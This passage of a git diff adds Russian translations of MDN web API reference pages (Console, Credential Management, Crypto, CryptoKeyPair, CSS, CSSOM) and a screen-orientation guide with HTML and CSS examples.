+<p>Использование крайне простое — объект {{domxref("console")}} ({{domxref("window.console")}} в браузерах или {{domxref("WorkerGlobalScope.console")}} в Web Worker) содержит множество методов, которые вы можете вызвать для выполнения отлададки. В основном используется для вывода <a href="/ru/docs/Tools/Web_Console">веб-консоль</a> различных значений.</p>
+
+<p>Один из самых часто используемых методов {{domxref("console.log")}}, который используют для вывода текущего значения переменной.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("console")}}</dt>
+ <dd>Обеспечивает простую функциональность для отладки. Включает в себя логгирование, трассировку, таймеры и счётчики.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">let myString = 'Hello world';
+
+// Вывод "Hello world" в консоль
+console.log(myString)</pre>
+
+<p>Смотрите больше примеров на странице <a href="/ru/docs/Web/API/Console#Usage">Console</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Tools" title="Tools">Инструменты разработчика</a></li>
+ <li><a href="/ru/docs/Tools/Web_Console" title="Web Console">Веб-консоль</a> — как Веб-консоль в Firefox работает с вызовами Console API</li>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging">Отладка удалённых скриптов</a> — как увидеть консоль, когда выполняется отладка на мобильных устройствах</li>
+</ul>
diff --git a/files/ru/web/api/credential_management_api/index.html b/files/ru/web/api/credential_management_api/index.html
new file mode 100644
index 0000000000..5d4036b042
--- /dev/null
+++ b/files/ru/web/api/credential_management_api/index.html
@@ -0,0 +1,65 @@
+---
+title: Credential Management API
+slug: Web/API/Credential_Management_API
+tags:
+  - API
+  - Credential Management API
+  - Landing
+  - NeedsContent
+  - Overview
+  - Reference
+  - credential management
+translation_of: Web/API/Credential_Management_API
+---
+<p>{{DefaultAPISidebar("Credential Management API")}}{{ SeeCompatTable() }}</p>
+
+<p class="summary">The Credential Management API (API управления учетными данными) позволяет веб-сайту хранить и извлекать учетные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учетную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истекшим сроком действия.</p>
+
+<h2 id="Концепции_и_использование_учетных_данных">Концепции и использование учетных данных</h2>
+
+<p>Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учетными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учетными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учетных данных. Это дает пользователям такие возможности, как просмотр федеративной учетной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истекшим сроком действия.</p>
+
+<div class="note">
+<p>Этот API ограничен контекстами верхнего уровня. Вызовы <code>get()</code> и <code>store()</code> внутри элемента <code>&lt;iframe&gt;</code> вполнятся без эффекта.</p>
+</div>
+
+<h3 id="Учетные_данные_общие_для_поддомена">Учетные данные, общие для поддомена</h3>
+
+<p>Более поздняя версия спецификации позволяет получать учетные данные из другого поддомена. Например, пароль, хранящийся в <code>login.example.com</code>, может использоваться для входа на <code>www.example.com</code>. Чтобы это использовать, пароль должен быть явно сохранен путем вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация <em>рекомендует</em> использовать PSL только для определения действующей области учетных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Credential")}}</dt>
+ <dd>Предоставляет информацию о сущности в качестве предварительного условия для принятия решения о доверии.</dd>
+ <dt>{{domxref("CredentialsContainer")}}</dt>
+ <dd>Предоставляет методы для запроса учетных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в <code>navigator.credentials</code>.</dd>
+ <dt>{{domxref("FederatedCredential")}}</dt>
+ <dd>Предоставляет информацию об учетных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. <a href="http://openid.net/developers/specs/">OpenID Connect</a> является примером такой структуры.</dd>
+ <dt>{{domxref("PasswordCredential")}}</dt>
+ <dd>Предоставляет информацию о паре имени пользователя и пароля.</dd>
+ <dt>{{domxref("PublicKeyCredential")}}</dt>
+ <dd>Предоставляет учетные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/crypto/index.html b/files/ru/web/api/crypto/index.html
new file mode 100644
index 0000000000..87ea3710d5
--- /dev/null
+++ b/files/ru/web/api/crypto/index.html
@@ -0,0 +1,68 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+tags:
+  - API
+  - Web Crypto API
+  - Интерфейс
+  - Справка
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>Интерфейс <code><strong>Crypto</strong></code> представляет базовые криптографические функции, доступные в общеупотребительном контексте. Он позволяет получить доступ к криптографически сильному генеретору случайных чисел и к криптографическим примитивам.</p>
+
+<p>Объект с этим интерфейсом доступен в Web-контексте через свойство {{domxref("Window.crypto")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс реализует свойства, объявленные в {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("SubtleCrypto")}}, предоставляющий доступ к часто используемым криптографическим примитивам, таким как хэширование, цифровые подписи, шифрование и расшифрование.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс реализует методы, объявленные в {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>Заполняет переданные {{ jsxref("TypedArray") }} случайными в криптографическом смысле значениями.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Комментарий</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Исходное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Crypto")}}</p>
+
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/cryptokeypair/index.html b/files/ru/web/api/cryptokeypair/index.html
new file mode 100644
index 0000000000..6a9c82fa3d
--- /dev/null
+++ b/files/ru/web/api/cryptokeypair/index.html
@@ -0,0 +1,73 @@
+---
+title: CryptoKeyPair
+slug: Web/API/CryptoKeyPair
+tags:
+  - API
+  - CryptoKeyPair
+  - Web Crypto API
+translation_of: Web/API/CryptoKeyPair
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p><strong><code>CryptoKeyPair</code></strong> из <a href="/en-US/docs/Web/API/Web_Crypto_API">Web Crypto API </a>представляет собой пару ключей для ассиметричных криптографических алгоритмов, также известных как алгоритмы с публичным-приватным ключом.</p>
+
+<p>Объект <code>CryptoKeyPair</code> может быть получен с помощью {{domxref("SubtleCrypto.generateKey()")}}, используя один из следующих алгоритмов: RSASSA-PKCS1-v1_5, RSA-PSS, RSA-OAEP, ECDSA, или ECDH.</p>
+
+<p>У него всего два свойства, оба объекты <code><a href="/en-US/docs/Web/API/CryptoKey">CryptoKey</a></code>: свойства <code>privateKey</code>, содержащее приватный ключ, и <code>publicKey</code> с публичным ключом.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>CryptoKeyPair.privateKey</code></dt>
+ <dd>Объект <code><a href="/en-US/docs/Web/API/CryptoKey">CryptoKey</a></code>, представляющее приватный ключ. В криптографических алгоритмах используется для разшифровывания и подписи.</dd>
+ <dt><code>CryptoKeyPair.publicKey</code></dt>
+ <dd>Объект <code><a href="/en-US/docs/Web/API/CryptoKey">CryptoKey</a></code>, представляющее публичный ключ. В криптографических алгоритмах используется для зашифровывания и проверки подлинности подписи.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Методы <code>SubtleCrypto</code> обычно используют объекты <code>CryptoKeyPair</code>. Примеры:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/generateKey">SubtleCrypto.generateKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/deriveKey">SubtleCrypto.deriveKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/importKey">SubtleCrypto.importKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/exportKey">SubtleCrypto.exportKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/wrapKey">SubtleCrypto.wrapKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/unwrapKey">SubtleCrypto.unwrapKey()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/encrypt">SubtleCrypto.encrypt()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/decrypt">SubtleCrypto.decrypt()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/sign">SubtleCrypto.sign()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/SubtleCrypto/verify">SubtleCrypto.verify()</a></code></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-CryptoKeyPair', 'CryptoKeyPair') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерированна из данных репозитория <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> . Если вы хотите принять участие, можете отправить нам pull request.</div>
+
+<p>{{Compat("api.CryptoKeyPair")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("SubtleCrypto.generateKey")}}.</li>
+ <li>{{domxref("SubtleCrypto.sign")}} and {{domxref("SubtleCrypto.verify")}}.</li>
+ <li>{{domxref("SubtleCrypto.encrypt")}} and {{domxref("SubtleCrypto.decrypt")}}.</li>
+</ul>
diff --git a/files/ru/web/api/css/index.html b/files/ru/web/api/css/index.html
new file mode 100644
index 0000000000..7d03faadb5
--- /dev/null
+++ b/files/ru/web/api/css/index.html
@@ -0,0 +1,128 @@
+---
+title: CSS
+slug: Web/API/CSS
+translation_of: Web/API/CSS
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>Интерфейс <code><strong>CSS</strong></code> имеет полезные CSS-связанные методы. нет объекта реализованного с этим интерфейсом: он содержит только статичиские методы и, следовательно, является утилитарным интерфейсом.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс CSS это утилитарный интерфейс и не имеет объектов этого типа которые могут быть созданы: только статитеские методы определены в нем.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс CSS это утилитарный интерфейс и не имеет объектов этого типа которые могут быть созданы: только статитеские методы определены в нем.</em></p>
+
+<h2 id="Статические_методы">Статические методы</h2>
+
+<p>Не наследует статических методов.</p>
+
+<dl>
+ <dt>{{domxref("CSS.supports()")}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} показывающие или свойство <em>property-value</em>, или состояние, даюющее в параметре поддерживаемые.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("CSS.escape()")}} {{experimental_inline}}</dt>
+ <dd>Может быть быть использован для вывода строки в основном для использования в качестве части CSS селектора.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-css.escape%28%29-method', 'CSS')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Добавлен <code>escape()</code> статический метод.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>6.0</td>
+   <td>12.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>escape()</code>{{experimental_inline}}</td>
+   <td>46.0</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>escape()</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] было доступно <code>layout.css.supports-rule.enabled</code> начиная с Gecko 20.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/css_object_model/index.html b/files/ru/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..c9d2a9c8d6
--- /dev/null
+++ b/files/ru/web/api/css_object_model/index.html
@@ -0,0 +1,208 @@
+---
+title: CSS Object Model (CSSOM)
+slug: Web/API/CSS_Object_Model
+tags:
+  - API
+  - CSSOM
+translation_of: Web/API/CSS_Object_Model
+---
+<div>{{DefaultAPISidebar('CSSOM')}}</div>
+
+<p class="summary"><strong>CSS Object Model</strong><font><font> представляет собой набор API-</font><font>интерфейсов, </font><font>позволяющих манипулировать CSS из JavaScript. </font><font>Это очень похоже на DOM, но для CSS, а не HTML. </font><font>Это позволяет пользователям динамически читать и изменять стиль CSS.</font></font></p>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("CaretPosition")}}</li>
+ <li>{{domxref("CSS")}}</li>
+ <li>{{domxref("CSSCharsetRule")}}</li>
+ <li>{{domxref("CSSConditionRule")}}</li>
+ <li>{{domxref("CSSCounterStyleRule")}}</li>
+ <li>{{domxref("CSSFontFaceRule")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesMap")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesRule")}}</li>
+ <li>{{domxref("CSSGroupingRule")}}</li>
+ <li>{{domxref("CSSImportRule")}}</li>
+ <li>{{domxref("CSSKeyframeRule")}}</li>
+ <li>{{domxref("CSSKeyframesRule")}}</li>
+ <li>{{domxref("CSSMarginRule")}}</li>
+ <li>{{domxref("CSSMediaRule")}}</li>
+ <li>{{domxref("CSSNamespaceRule")}}</li>
+ <li>{{domxref("CSSPageRule")}}</li>
+ <li>{{domxref("CSSRule")}}</li>
+ <li>{{domxref("CSSRuleList")}}</li>
+ <li>{{domxref("CSSStyleDeclaration")}}</li>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+ <li>{{domxref("CSSStyleRule")}}</li>
+ <li>{{domxref("CSSSupportsRule")}}</li>
+ <li>{{domxref("CSSVariablesMap")}}</li>
+ <li>{{domxref("CSSViewportRule")}}</li>
+ <li>{{domxref("ElementCSSInlineStyle")}}</li>
+ <li>{{DOMxRef("FontFace")}}</li>
+ <li>{{DOMxRef("FontFaceSet")}}</li>
+ <li>{{DOMxRef("FontFaceSetLoadEvent")}}</li>
+ <li>{{domxref("GeometryUtils")}}</li>
+ <li>{{domxref("GetStyleUtils")}}</li>
+ <li>{{domxref("LinkStyle")}}</li>
+ <li>{{domxref("MediaList")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{DOMxRef("MediaQueryListEvent")}}</li>
+ <li>{{DOMxRef("MediaQueryListListener")}}</li>
+ <li>{{domxref("PseudoElement")}}</li>
+ <li>{{domxref("Screen")}}</li>
+ <li>{{domxref("StyleSheet")}}</li>
+ <li>{{domxref("StyleSheetList")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p> </p>
+
+<p dir="ltr" id="tw-target-text">Несколько других интерфейсов также расширены спецификациями, связанными с CSSOM:</p>
+
+<p dir="ltr">{{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p>
+
+<h3 id="CSS_Typed_Object_Model" name="CSS_Typed_Object_Model">CSS Typed Object Model {{experimental_inline}}</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("CSSImageValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSKeywordValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathInvert")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathMax")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathMin")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathNegate")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathProduct")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathSum")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMatrixComponent")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSNumericArray")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSNumericValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSPerspective")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSPositionValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSRotate")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSScale")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSSkew")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSSkewX")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSSkewY")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSStyleValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSTransformComponent")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSTransformValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSTranslate")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSUnitValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSUnparsedValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSVariableReferenceValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("StylePropertyMap")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("StylePropertyMapReadOnly")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h3 id="Obsolete_CSSOM_interfaces" name="Obsolete_CSSOM_interfaces">Устаревшие CSSOM interfaces {{obsolete_inline}}</h3>
+
+<p>{{obsolete_header}}</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("CSSPrimitiveValue")}} {{obsolete_inline}}</li>
+ <li>{{DOMxRef("CSSValue")}} {{obsolete_inline}}</li>
+ <li>{{DOMxRef("CSSValueList")}} {{obsolete_inline}}</li>
+</ul>
+</div>
+
+<h2 id="Уроки">Уроки</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Определение размеров элементов</a> (урок нуждается в обновлении,так как он был сделан в эпоху DHTML/Ajax).</li>
+ <li><a href="/en-US/docs/WebAPI/Managing_screen_orientation">Управление ориентацией экрана</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Typed OM")}}</td>
+   <td>{{Spec2("CSS Typed OM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Painting API")}}</td>
+   <td>{{Spec2("CSS Painting API")}}</td>
+   <td>Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Screen Orientation")}}</td>
+   <td>{{Spec2("Screen Orientation")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Fonts")}}</td>
+   <td>{{Spec2("CSS3 Fonts")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td>Defined the {{DOMxRef("CSS")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles")}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведен в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model (DOM)</a></li>
+</ul>
diff --git a/files/ru/web/api/css_object_model/ориентация_экрана/index.html b/files/ru/web/api/css_object_model/ориентация_экрана/index.html
new file mode 100644
index 0000000000..a6b16cba4a
--- /dev/null
+++ b/files/ru/web/api/css_object_model/ориентация_экрана/index.html
@@ -0,0 +1,183 @@
+---
+title: Разбираемся с ориентацией экрана
+slug: Web/API/CSS_Object_Model/ориентация_экрана
+tags:
+  - Ориентация экрана
+  - Положение экрана
+  - Руководство
+translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation
+---
+<p>{{DefaultAPISidebar("Screen Orientation API")}}{{SeeCompatTable}}</p>
+
+<p>Ориентация экрана не идентична <a href="/en-US/docs/WebAPI/Detecting_device_orientation">ориентации устройства</a>.
+Даже если устройство не способно определить свое положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для
+сохранения или адаптации интерфейса веб-приложения.</p>
+
+<p>Управление ориентацией экрана доступно в CSS и JavaScript.
+Например, <a href="/ru/docs/Web/CSS/Media_Queries/Using_media_queries">использование медиа-запросов</a> позволяет контенту адаптироваться с помощью CSS в зависимости от того, в каком режиме просмотра находится браузер: альбомный (горизонтальный, когда ширина экрана больше высоты) или портретный (вертикальный, высота экрана больше ширины).</p>
+
+<p>Для определения положения экрана и его блокировки можно воспользоваться <i>JavaScript Screen orientation API</i>.</p>
+
+<h2 id="Настройка_раскладки_содержимого_по_ориентации_экрана">Настройка раскладки содержимого по ориентации экрана</h2>
+
+<p>Допустим Вы хотите связать отображение содержимого с ориентацией экрана. Например, добавить панель, растягивающуюся по наибольшему направлению дисплея устройства. Это довольно просто реализовать с помощью медиа запросов.</p>
+
+<p>Пример. Имеется HTML страница:</p>
+
+<pre class="brush: html notranslate">&lt;ul id="toolbar"&gt;
+  &lt;li&gt;A&lt;/li&gt;
+  &lt;li&gt;B&lt;/li&gt;
+  &lt;li&gt;C&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.&lt;/p&gt;
+</pre>
+
+<p>Соответствующий CSS:</p>
+
+<pre class="brush: css notranslate">/* Сначала зададим простые стили */
+
+html, body {
+  width : 100%;
+  height: 100%;
+}
+
+body {
+  border: 1px solid black;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+p {
+  font   : 1em sans-serif;
+  margin : 0;
+  padding: .5em;
+}
+
+ul {
+  list-style: none;
+
+  font   : 1em monospace;
+  margin : 0;
+  padding: .5em;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+
+  background: black;
+}
+
+li {
+  display: inline-block;
+  margin : 0;
+  padding: 0.5em;
+  background: white;
+}
+</pre>
+
+<p>Теперь разберемся с поведением страницы в различных случаях ориентации.</p>
+
+<pre class="brush: css notranslate">/* Для портретного режима отправим панель на верхнюю часть области отображения */
+
+@media screen and (orientation: portrait) {
+  #toolbar {
+    width: 100%;
+  }
+}
+
+/* Для альбомного режима пускай панель отображается слева */
+
+@media screen and (orientation: landscape) {
+  #toolbar {
+    position: fixed;
+    width: 2.65em;
+    height: 100%;
+  }
+
+  p {
+    margin-left: 2em;
+  }
+
+  li + li {
+    margin-top: .5em;
+  }
